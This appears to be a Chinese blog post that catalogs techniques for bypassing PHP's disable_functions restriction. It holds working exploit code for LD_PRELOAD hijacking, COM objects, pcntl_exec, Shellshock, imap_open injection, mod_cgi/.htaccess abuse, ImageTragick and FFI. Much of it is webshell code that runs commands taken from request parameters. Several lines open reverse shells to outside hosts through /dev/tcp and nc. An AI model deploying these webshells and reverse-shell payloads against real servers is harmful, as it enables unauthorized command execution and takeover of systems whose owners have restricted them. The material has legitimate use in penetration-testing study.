linux 把动态库静态化,disable_functions绕过小结

本文仅作为学习记录,如有侵权,请联系删除!

环境搭建

由于大部分的disable_functions绕过技巧是针对Linux操作系统的,所以需要搭建环境:

本次搭建的环境为:

Ubuntu 16.04 + php5.6 + apache2.4.18

apache环境搭建:

sudo apt-get install apache2

php环境搭建:

1、添加网易源:

sudo add-apt-repository 'deb http://mirrors.163.com/ubuntu/ xenial main restricted universe multiverse'

2、添加PPA

sudo add-apt-repository ppa:ondrej/php

3、安装php5.6

sudo apt-get update

sudo apt-get install php5.6

# 安装完后检测

sudo php -v

apache设置php解析支持:

首先查看/etc/apache2/mods-available该目录下是否存在php5.6.conf和php5.6.load这两个文件

d4d71d328ddd

php解析部分在的配置在/etc/apache2/mods-available下的php5.6.conf和php5.6.load中,apache2.conf文件中并没有将这两个文件包含进来,只要包含进去就OK了

d4d71d328ddd

最后一步,开启apache服务,检测php文件是否正常解析:

d4d71d328ddd

环境配置

查看disable_funcitons禁用函数:

d4d71d328ddd

发现默认情况下,并没有禁用敏感的函数,如:

system,eval,exec,shell_exec,passthru,popen,proc_open

还是可以正常执行系统命令,那么找到php.ini的disable_functions,加入如上函数,禁止执行系统命令

d4d71d328ddd

这时已经无法执行系统命令

d4d71d328ddd

利用环境变量LD_PRELOAD绕过:

LD_PRELOAD是Linux系统的下一个有趣的环境变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

Linux环境

putenv()、mail()可用

基本原理:

通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令

利用过程:

bypass_disablefunc.php和bypass_disablefunc_x64.so上传到目标服务器

执行命令:

# cmd: 执行的命令

# outpath: 读写权限目录

# sopath: so文件的绝对路径

http://site.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so

d4d71d328ddd

成功执行系统命令!

2、LD_PRELOAD劫持

php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的

事前准备环境:

sudo apt-get install sendmail

service sendmail start

sendmail函数在运行过程动态调用了很多标准库函数,我们从中随便选取一个库函数geteuid进行测试。

#include

#include

#include

void payload() {

system("rm /tmp/check.txt");

}

int geteuid() {

if (getenv("LD_PRELOAD") == NULL) { return 0; }

unsetenv("LD_PRELOAD");

payload();

}

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令.

在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库

gcc -c -fPIC hack.c -o hack

gcc -shared hack -o hack.so

把hack.so放到WEB目录,然后编写一个PHP文件进行测试

putenv("LD_PRELOAD=/var/www/html/hack.so");

mail("test@163.com","","","","");

?>

执行之前,事先在tmp目录下创建check.txt文件

d4d71d328ddd

系统成功执行了删除命令

d4d71d328ddd

windows 系统组件绕过:

如果php版本>5.3.15 需保证php根目录的 ext 文件夹下确保存有 php_com_dotnet.dll 这个文件,在php.ini中加入(高版本扩展要自己添加):

extension=php_com_dotnet.dll

去除com.allow_dcom = true前面的;号

com.allow_dcom = true

d4d71d328ddd

利用代码:

$command=$_GET['a'];

$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能

$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

d4d71d328ddd

黑名单绕过:

exec:

echo exec('whoami');

?>

shell_exec:

echo shell_exec('whoami');

?>

system:

system('whoami');

?>

passthru:

passthru("whoami");

?>

popen:

$command=$_POST['cmd'];

$handle = popen($command , "r");

while(!feof($handle))

{

echo fread($handle, 1024);

}

pclose($handle);

?>

proc_open:

$command="ifconfig";

$descriptorspec = array(1 => array("pipe", "w"));

$handle = proc_open($command ,$descriptorspec , $pipes);

while(!feof($pipes[1]))

{

echo fread($pipes[1], 1024); //fgets($pipes[1],1024);

}

?>

pcntl_exec:

pcntl是linux下的一个扩展,可以支持php的多线程操作。(与python结合反弹shell) pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5

或者:

#利用pcntl_exec()执行test.sh

if(function_exists('pcntl_exec')) {

pcntl_exec("/bin/bash", array("/tmp/test.sh"));

} else {

echo 'pcntl extension is not support!';

}

?>

test.sh:

#!/bin/bash

/bin/bash -i >& /dev/tcp/119.x.x.x/8000 0>&1 #反弹shell

利用ShellShock绕过:

利用条件:

目标OS存在Bash破壳(CVE-2014-6271)漏洞

PHP 5.*

linux

putenv()、mail()可用

CVE-2014-6271检测:

Bash版本小于等于4.3可能存在漏洞:

# 查看bash版本

bash --version

本地验证,使用如下命令:

env x='() { :;}; echo vulnerable' bash –c "echo This is a test"

若存在漏洞,将会回显:

vulnerable

This is a test

利用原理:

一般函数体内的代码不会被执行,但破壳漏洞会错误的将"{}"花括号外的命令进行执行

php里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。

利用代码:

function shellshock($cmd) {

$tmp = tempnam(".","data");

putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");

mail("a@127.0.0.1","","","","-bv");

$output = @file_get_contents($tmp);

@unlink($tmp);

if($output != "") return $output;

else return "No output, or not vuln.";

}

echo shellshock($_REQUEST["cmd"]);

?>

利用imap_open函数任意命令执行

利用条件:目标开启了imap扩展,并支持imap_open()函数

利用原理:

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令

利用代码:

error_reporting(0);

if (!function_exists('imap_open')) {

die("no imap_open function!");

}

$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";

imap_open('{' . $server . ':143/imap}INBOX', '', '');

sleep(5);

echo file_get_contents("/tmp/cmd_result");

?>

利用Apache+mod_cgi+.htaccess绕过:

利用条件:

启用mod-cgi

允许.htaccess文件

.htaccess可写

利用原理:

在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令

利用代码:

$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹shell

$shellfile ="#!/bin/bash\n"; //指定shell

$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500

$shellfile .="$cmd";

functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter

{

echo "$text: " . ($condition ?$yes : $no) . "
\n";

}

if(!isset($_GET['checked']))

{

@file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);

header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查

}

else

{

$modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启

$writable = is_writable('.'); //检测当前目录是否可写

$htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess

checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");

checkEnabled("Iswritable",$writable,"Yes","No");

checkEnabled("htaccessworking",$htaccess,"Yes","No");

if(!($modcgi && $writable&& $htaccess))

{

echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件

}

else

{

checkEnabled("Backing

up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in

.htaccess.bak","Failed!"); //备份一下原有.htaccess

checkEnabled("Write

.htaccessfile",file_put_contents('.htaccess',"Options

+ExecCGI\nAddHandlercgi-script

.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名

checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件

checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限

echo "Executing the script now.Check your listener shell.dizzle"; //调用

}

}

?>

利用ImageMagick漏洞绕过:

利用条件:

Imagick <= 3.3.0

PHP >= 5.4

利用原理:

ImageTragick(CVE-2016-3714)

漏洞的利用过程非常简单,只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招

利用代码:

echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];

if ($command == '') {

$command = 'id';

}

$exploit = <<

push graphic-context

viewbox 0 0 640 480

fill 'url(https://example.com/image.jpg"|$command")'

pop graphic-context

EOF;

file_put_contents("KKKK.mvg", $exploit);

$thumb = new Imagick();

$thumb->readImage('KKKK.mvg');

$thumb->writeImage('KKKK.png');

$thumb->clear();

$thumb->destroy();

unlink("KKKK.mvg");

unlink("KKKK.png");

?>

FFI外部函数接口绕过

利用条件:

php 7.4

ffi.enable=true

利用原理:

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。

当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

利用代码:

// create FFI object, loading libc and exporting function printf()

$ffi = FFI::cdef(

"int system(char *command);", // this is a regular C declaration

"libc.so.6");

// call C's printf()

$a='nc -e /usr/bin/zsh 127.0.0.1 8888';

$ffi->system($a);

?>

参考如下:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值